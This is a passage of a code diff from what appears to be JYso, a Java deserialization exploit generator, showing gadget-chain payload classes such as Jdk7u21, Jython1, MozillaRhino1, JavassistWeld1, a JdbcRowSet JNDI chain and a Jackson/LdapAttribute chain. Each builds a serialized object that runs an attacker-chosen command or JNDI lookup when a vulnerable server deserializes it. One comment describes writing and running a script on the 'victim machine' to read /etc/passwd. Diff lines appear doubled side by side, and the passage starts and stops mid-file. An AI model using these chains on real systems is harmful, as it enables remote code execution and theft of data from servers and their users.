throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
} }
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
try { try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(String.class); Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
clazz_cons.setAccessible(true); clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true); bcu_fi.setAccessible(true);
bcu_fi.set(la, command); bcu_fi.set(la, command);
CompositeName cn = new CompositeName(); CompositeName cn = new CompositeName();
cn.add("a"); cn.add("a");
cn.add("b"); cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn"); Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true); rdn_fi.setAccessible(true);
rdn_fi.set(la, cn); rdn_fi.set(la, cn);
POJONode node = new POJONode(la); POJONode node = new POJONode(la);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, node); valfield.set(val, node);
return val; return val;
} catch (Exception e) { } catch (Exception e) {
log.error("e: ", e); log.error("e: ", e);
} }
return null; return null;
} }
} }
@@ -1,90 +1,90 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference; import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel; import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.util.*; import java.util.*;
/* /*
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER}) @Authors({Authors.MATTHIASKAISER})
public class JavassistWeld1 implements ObjectPayload<Object> { public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null); return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
} }
static Object get_chain( static Object get_chain(
String command, String command,
org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE, org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1 org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
) throws Exception { ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command); Object tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set s = new HashSet<>(); Set s = new HashSet<>();
if (POST_ACTIVATE != null) { if (POST_ACTIVATE != null) {
s.add(POST_ACTIVATE); s.add(POST_ACTIVATE);
} else { } else {
s.add(POST_ACTIVATE1); s.add(POST_ACTIVATE1);
} }
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor); Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList(); List list = new ArrayList();
list.add(methodMetadata); list.add(methodMetadata);
Map hashMap = new HashMap<>(); Map hashMap = new HashMap<>();
if (POST_ACTIVATE != null) { if (POST_ACTIVATE != null) {
hashMap.put(POST_ACTIVATE, list); hashMap.put(POST_ACTIVATE, list);
} else { } else {
hashMap.put(POST_ACTIVATE1, list); hashMap.put(POST_ACTIVATE1, list);
} }
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata); builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build(); InterceptionModel model = builder.build();
HashMap map = new HashMap(); HashMap map = new HashMap();
map.put("qi4l", "qi4l"); map.put("qi4l", "qi4l");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl; InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
} }
} }
@@ -1,11 +1,11 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet; import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class JdbcRowSet implements ObjectPayload<Object> { public class JdbcRowSet implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
return makeJNDIRowSet(command); return makeJNDIRowSet(command);
} }
} }
+101 -101
View File
@@ -1,101 +1,101 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion; import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.HashMap; import java.util.HashMap;
import java.util.LinkedHashSet; import java.util.LinkedHashSet;
/** /**
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has * Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
* the same JRE version requirements. * the same JRE version requirements.
* <p> * <p>
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3 * See: https://gist.github.com/frohoff/24af7913611f8406eaf3
* <p> * <p>
* Call tree: * Call tree:
* <p> * <p>
* LinkedHashSet.readObject() * LinkedHashSet.readObject()
* LinkedHashSet.add() * LinkedHashSet.add()
* ... * ...
* TemplatesImpl.hashCode() (X) * TemplatesImpl.hashCode() (X)
* LinkedHashSet.add() * LinkedHashSet.add()
* ... * ...
* Proxy(Templates).hashCode() (X) * Proxy(Templates).hashCode() (X)
* AnnotationInvocationHandler.invoke() (X) * AnnotationInvocationHandler.invoke() (X)
* AnnotationInvocationHandler.hashCodeImpl() (X) * AnnotationInvocationHandler.hashCodeImpl() (X)
* String.hashCode() (0) * String.hashCode() (0)
* AnnotationInvocationHandler.memberValueHashCode() (X) * AnnotationInvocationHandler.memberValueHashCode() (X)
* TemplatesImpl.hashCode() (X) * TemplatesImpl.hashCode() (X)
* Proxy(Templates).equals() * Proxy(Templates).equals()
* AnnotationInvocationHandler.invoke() * AnnotationInvocationHandler.invoke()
* AnnotationInvocationHandler.equalsImpl() * AnnotationInvocationHandler.equalsImpl()
* Method.invoke() * Method.invoke()
* ... * ...
* TemplatesImpl.getOutputProperties() * TemplatesImpl.getOutputProperties()
* TemplatesImpl.newTransformer() * TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance() * TemplatesImpl.getTransletInstance()
* TemplatesImpl.defineTransletClasses() * TemplatesImpl.defineTransletClasses()
* ClassLoader.defineClass() * ClassLoader.defineClass()
* Class.newInstance() * Class.newInstance()
* ... * ...
* MaliciousClass.<clinit>() * MaliciousClass.<clinit>()
* ... * ...
* Runtime.exec() * Runtime.exec()
*/ */
@SuppressWarnings({"rawtypes", "unchecked", "unused"}) @SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies() @Dependencies()
@Authors({Authors.FROHOFF}) @Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> { public class Jdk7u21 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion(); JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
// hashCode 为 0 的字符串 // hashCode 为 0 的字符串
String zeroHashCodeStr = "f5a5a608"; String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap(); HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); map.put(zeroHashCodeStr, "foo");
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0]; Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
// 反射写入 AnnotationInvocationHandler 的 type // 反射写入 AnnotationInvocationHandler 的 type
Reflections.setFieldValue(tempHandler, "type", Templates.class); Reflections.setFieldValue(tempHandler, "type", Templates.class);
// 为 Templates 创建动态代理 // 为 Templates 创建动态代理
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class}, tempHandler); new Class[]{Templates.class}, tempHandler);
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
LinkedHashSet set = new LinkedHashSet(); // maintain order LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); set.add(templates);
set.add(proxy); set.add(proxy);
// 反射将 _auxClasses 和 _class 修改为 null // 反射将 _auxClasses 和 _class 修改为 null
Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null); Reflections.setFieldValue(templates, "_class", null);
// 向 map 中替换 tmpl 对象 // 向 map 中替换 tmpl 对象
map.put(zeroHashCodeStr, templates); map.put(zeroHashCodeStr, templates);
return set; return set;
} }
} }
@@ -1,49 +1,49 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject; import java.rmi.MarshalledObject;
import java.util.HashMap; import java.util.HashMap;
import java.util.LinkedHashSet; import java.util.LinkedHashSet;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({"potats0"}) @Authors({"potats0"})
public class Jdk7u21variant implements ObjectPayload<Object> { public class Jdk7u21variant implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608"; String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap(); HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo"); map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class); Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = createProxy(tempHandler, Templates.class); Templates proxy = createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); LinkedHashSet set = new LinkedHashSet();
set.add(templates); set.add(templates);
set.add(proxy); set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null); Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); map.put(zeroHashCodeStr, templates);
MarshalledObject marshalledObject = new MarshalledObject(set); MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
set = new LinkedHashSet(); // maintain order set = new LinkedHashSet(); // maintain order
set.add(marshalledObject); set.add(marshalledObject);
set.add(proxy); set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set; return set;
} }
} }
+100 -100
View File
@@ -1,100 +1,100 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.io.FileUtils; import org.apache.commons.io.FileUtils;
import org.python.core.*; import org.python.core.*;
import java.io.File; import java.io.File;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.math.BigInteger; import java.math.BigInteger;
import java.util.Arrays; import java.util.Arrays;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
/** /**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
* <p> * <p>
* This version of Jython1 writes a python script on the victim machine and * This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is: * executes it. The format of the parameters is:
* <p> * <p>
* <local path>;<remote path> * <local path>;<remote path>
* <p> * <p>
* Where local path is the python script's location on the attack box and * Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from. * remote path is the location where the script will be written/executed from.
* For example: * For example:
* <p> * <p>
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
* <p> * <p>
* In the above example, if "read_etc_passwd.py" simply contained the string: * In the above example, if "read_etc_passwd.py" simply contained the string:
* <p> * <p>
* raise Exception(open('/etc/passwd', 'r').read()) * raise Exception(open('/etc/passwd', 'r').read())
* <p> * <p>
* Then, when deserialized, the script will read in /etc/passwd and raise an * Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns * exception with its contents (which could be useful if the target returns
* exception information). * exception information).
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.python:jython-standalone:2.5.2"}) @Dependencies({"org.python:jython-standalone:2.5.2"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class Jython1 implements ObjectPayload<PriorityQueue> { public class Jython1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(":"); String[] paths = command.split(":");
if (paths.length != 2) { if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
} }
// Set payload parameters // Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it // Python bytecode to write a file on disk and execute it
String code = String code =
"740000" + //0 LOAD_GLOBAL 0 (open) "740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path) "640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+') "640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2 "830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file) "7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file) "7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write) "690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code) "640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1 "830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP "01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file) "7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close) "690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0 "830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP "01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile) "740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path) "640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1 "830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP "01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None) "640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE "53"; //51 RETURN_VALUE
// Helping consts and names // Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"}; String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode // Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, ""); PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget // Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1}; Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2); Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue; return priorityQueue;
} }
} }
@@ -1,72 +1,72 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion; import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
/* /*
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"}) @Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.MATTHIASKAISER}) @Authors({Authors.MATTHIASKAISER})
public class MozillaRhino1 implements ObjectPayload<Object> { public class MozillaRhino1 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj(); return JavaVersion.isBadAttrValExcReadObj();
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor); Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter(); Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter"); Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false); idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot); Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter"); Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter); Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor); Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes); getter.set(slot, memberboxes);
final Object tpl; final Object tpl;
tpl = Gadgets.createTemplatesImpl(command); tpl = Gadgets.createTemplatesImpl(command);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject); idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField); Reflections.setAccessible(valField);
